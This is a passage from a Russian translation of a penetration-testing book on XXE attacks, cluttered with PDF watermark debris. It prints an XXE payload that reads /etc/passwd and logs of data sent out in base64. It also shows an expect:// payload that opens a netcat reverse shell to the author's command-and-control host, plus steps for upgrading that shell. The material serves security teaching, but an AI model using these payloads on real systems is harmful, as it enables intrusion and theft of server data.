Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

Document root is /root/c2/xxe

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

Press Ctrl-C to quit.

Атаки XXE 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

273 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[] 107.181.189.72:42582 [200]: /payload.dtd

[] 107.181.189.72:42584 [404]:

/exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=

[...]

Первый запрос приходит для файла payload.dtd. Это означает, что мы подтвердили наличие XXE-уязвимости. Содержимое обрабатывается, и последую-

щий вызов URL-адреса (exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=), со-

держащего интересующие нас данные,обнаруживается в журналах почти сразу.

Рис.10.18. Код модифицированного XML-эксплойта

При повторном использовании CyberChef расшифровка URL-данных дает содержимое файла /etc/issue на сервере XML-парсера (см. рис. 10.19).

Такой метод передачи данных наружу отлично подходит для небольших файлов, однако при отправке большого фрагмента кода в формате Base64 по протоколу HTTP могут возникнуть проблемы. Большинство клиентов, таких как PHP или Java,не будетотправлятьзапросы с URL-адресами,длина которых превышает 2000 символов. В некоторых случаях может быть разрешена длина до 4000 символов.Это сильно зависит от реализации клиента,поэтому всякий раз, когда вы пытаетесь украсть данные с помощью XXE-атаки, помните об этих ограничениях.

Удаленное выполнение кода

Ах да,это своего рода святой Граальтестирований на проникновение.Будучи гораздо менее распространенным, удаленное выполнение кода возможно при развертывании некоторых приложений, уязвимых к XXE-атакам. Ненадежная конфигурация и уязвимые компоненты позволят нам использовать XML-парсер не по назначению,что приведет к удаленному выполнению кода.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 274 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Глава 10.Практические атаки на стороне сервера

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.10.19. CyberChef декодирует украденные данные

В предыдущих примерах мы использовали довольно простой вредоносный код для чтения данных с диска.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY exfil SYSTEM "file:///etc/passwd">

]> <xxe>&exfil;</xxe>

После парсинга тег <xxe> будет содержать содержимое файла /etc/passwd. Попросить PHP выполнить код не намного сложнее благодаря модулю expect. Хотяобычноэторасширениенеустанавливается поумолчанию,expect предо­ ставляет PHP-приложениям обертку expect://, позволяющую разработчикам выполнять команды оболочки с помощью URL-подобного синтаксиса.

Как и обертка file://, expect:// предоставляет доступ с правом чтения и записи потоку PTY, а не файловой системе. Разработчики могут использовать функцию fopen с оболочкой expect:// для выполнения команд и получения вывода.

<?php

$stream = fopen("expect://ssh root@remotehost uptime", "r"); ?>

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  275 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

В предыдущем коде мы открываем базовой системной оболочке потоктоль-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

ко для чтения, выполняем команду ssh

root@remotehost, и после подключе-

 

 

 

 

 

 

 

 

 

 

 

 

ния команда uptime будет выполнена на удаленном хосте.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После завершения результат может быть использован в остальной части

 

 

 

 

 

 

 

 

 

 

 

 

приложения.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

При атаке XML нам не нужно выполнять PHP-код и вызывать функцию

 

 

 

 

 

 

fopen. Оболочка expect:// легко доступна для XML-парсеров. Использование expect:// вместо встроенной системной команды passthru

дает ряд преимуществ, поскольку обеспечивает взаимодействие с терминалом,тогда как команды оболочки passthru более ограничены.Таким образом, вы все еще можете столкнуться с тем,что этот модуль установлен и включен.

Чтобы увидеть, как это работает в системе с включенным модулем expect, можно выполнитьприведенный ниже вредоносный код.Команда,которую мы передаем в expect://, – это простой редиректор, указывающий на наш ко- мандно-контрольный сервер в облаке, c2.spider.ml.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY shell SYSTEM "expect://nc -e bash c2.spider.ml 443">

]> <xxe>&shell;</xxe>

Плюс этого в том, что нам не обязательно заботиться о выводе. Если это «слепая» XXE-атака,то нам легко удастся создать оболочку.

После того как вредоносный код XML будет проанализирован и приложениепопытаетсяразвернутьсущностьоболочки,модульexpect выполнитнашу команду netcat на объекте атаки и мы получим доступ по оболочке к серверу приложения.

root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...

connect to [10.240.0.4] from [107.181.189.72] 42384 id

uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd

/var/www/html/xml

Netcat–этонеединственныйдоступныйвариантоболочки.Есликодвыпол- няется с помощью expect://, мы также можем загрузить полезную нагрузку Meterpreter и получить доступ через консоль Metasploit, что дает нам дополнительные инструменты для постэксплуатации. При удаленном выполнении кода наши возможности безграничны.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 276  Глава 10.Практические атаки на стороне сервера

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

n

 

Интерактивные оболочки

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Реверсные оболочки через netcat вполне подходят для выполнения некоторых команд и, возможно, чтения файлов, но они не обеспечивают интерактивность. Чтобы быть более продуктивными во время постэксплуатации, нам нужен доступ к различным инструментам, таким как Vim или SSH, для чего требуется соответствующий терминал.

Нужно выполнить несколько шагов, которые отдельные особи могут назвать магией,чтобы обновить нашу оболочку. Сперва можно вызвать команду python для запуска новой bash-оболочки.

Пусть она не идеальна, но это лучше,чем то,что у нас было раньше:

python -c 'import pty; pty.spawn("/bin/bash")'

Возможно, данный код выглядит странно, если вы не знакомы с Python, но все,что он делает,– импортирует пакет pty и запускает оболочку bash.

В своей реверсной оболочке выполняем команду python,и результатдолжен выглядеть знакомо.

root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...

connect to [10.240.0.4] from [107.181.189.72] 42384 id

uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd

/var/www/html/xml

python -c 'import pty; pty.spawn("/bin/bash")' www-data$ $

Тут еще есть некоторые проблемы: пока Vim работает, доступа к истории или автозаполнения в командой строке нет, и сочетание клавиш Ctrl+C завершит работу оболочки.

Давайте сделаем еще один шаги попробуем увеличитьвозможностидо полной оболочки, используя команду stty и конфигурацию локального терминала.

Во-первых,послеобновленияоболочки,используяпредыдущуюстрокукода с командой python,отправим процесс в фоновый режим,используя сочетание клавиш Ctrl+Z.

root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...

connect to [10.240.0.4] from [107.181.189.72] 42384 id

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

pwd /var/www/html/xml

python -c 'import pty; pty.spawn("/bin/bash")'

www-data$ ^Z

 

[1]+ Stopped

nc -lvp 443

root@spider-c2-1:~#

Атаки XXE 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

277 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Нам нужно найти тип текущего терминала, проверив переменную $TERM.

python -c 'import pty; pty.spawn("/bin/bash")'

www-data$ ^Z

 

[1]+ Stopped

nc -lvp 443

root@spider-c2-1:~# echo $TERM screen

Наш командно-контрольный сервер работает в сеансе screen, но вы можете увидеть xterm-256color или Linux, если будете работать с Kali.

Теперь нужны настройки количества строк и столбцов для отображения в терминале. Чтобы получить эти значения, воспользуемся программой stty с опцией –a.

root@spider-c2-1:~# stty -a

speed 38400 baud; rows 43; columns 142; line = 0;

intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =

[...]

Может показаться, что приведенная далее команда выводит терминал из строя, но, для того чтобы сочетание клавиш Ctrl+C не убило нашу оболочку, мы должны перевести TTY в raw-режим и отключить вывод каждого символа. Команды,которые мы вводим в нашу оболочку,все равно будутобрабатываться, но сам терминал без активной реверсной оболочки может выглядеть неработоспособным.

Сообщаемкомандеstty установитьтерминалв raw-режимиотключитьвы- вод с помощью –echo.

python -c 'import pty; pty.spawn("/bin/bash")'

www-data$ ^Z

 

[1]+ Stopped

nc -lvp 443

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 278  Глава 10.Практические атаки на стороне сервера

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

root@spider-c2-1:~# echo $TERM

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

screen

root@spider-c2-1:~# stty -a

speed 38400 baud; rows 43; columns 142; line = 0;

intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =

[...]

root@spider-c2-1:~# stty raw -echo

Чтобы вернуть оболочку из фонового режима,запускаем команду fg.Вы заметите, что это не выводится в терминале из-за ранее выполненной команды stty raw -echo, но тем не менее должно быть обработано.

python -c 'import pty; pty.spawn("/bin/bash")' www-data$ ^Z

[1]+ Stopped nc -lvp 443 root@spider-c2-1:~# echo $TERM

screen

root@spider-c2-1:~# stty -a

speed 38400 baud; rows 43; columns 142; line = 0;

intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =

[...]

root@spider-c2-1:~# stty raw -echo root@spider-c2-1:~# nc -lvp 443

Вернувшись из фонового режима,вы увидите,что команда реверсной оболочки возвратилась на экран: nc -lvp 443 –и,возможно,все снова выглядит немного неисправным. Нет проблем – можно набрать reset, чтобы очистить это.

Внутри реверсной оболочки теперь, когда все снова выглядит хорошо, нам нужноустановитьтежепараметрытерминала,включаястроки,столбцыитип, чтобы оболочка работала правильно.

www-data$ export SHELL=bash www-data$ export TERM=screen www-data$ stty rows 43 columns 142

В результате получается полностью работающий терминал со всеми необычными функциями,и мы можемдаже запуститьscreen в нашей реверсной оболочке netcat (рис.10.20).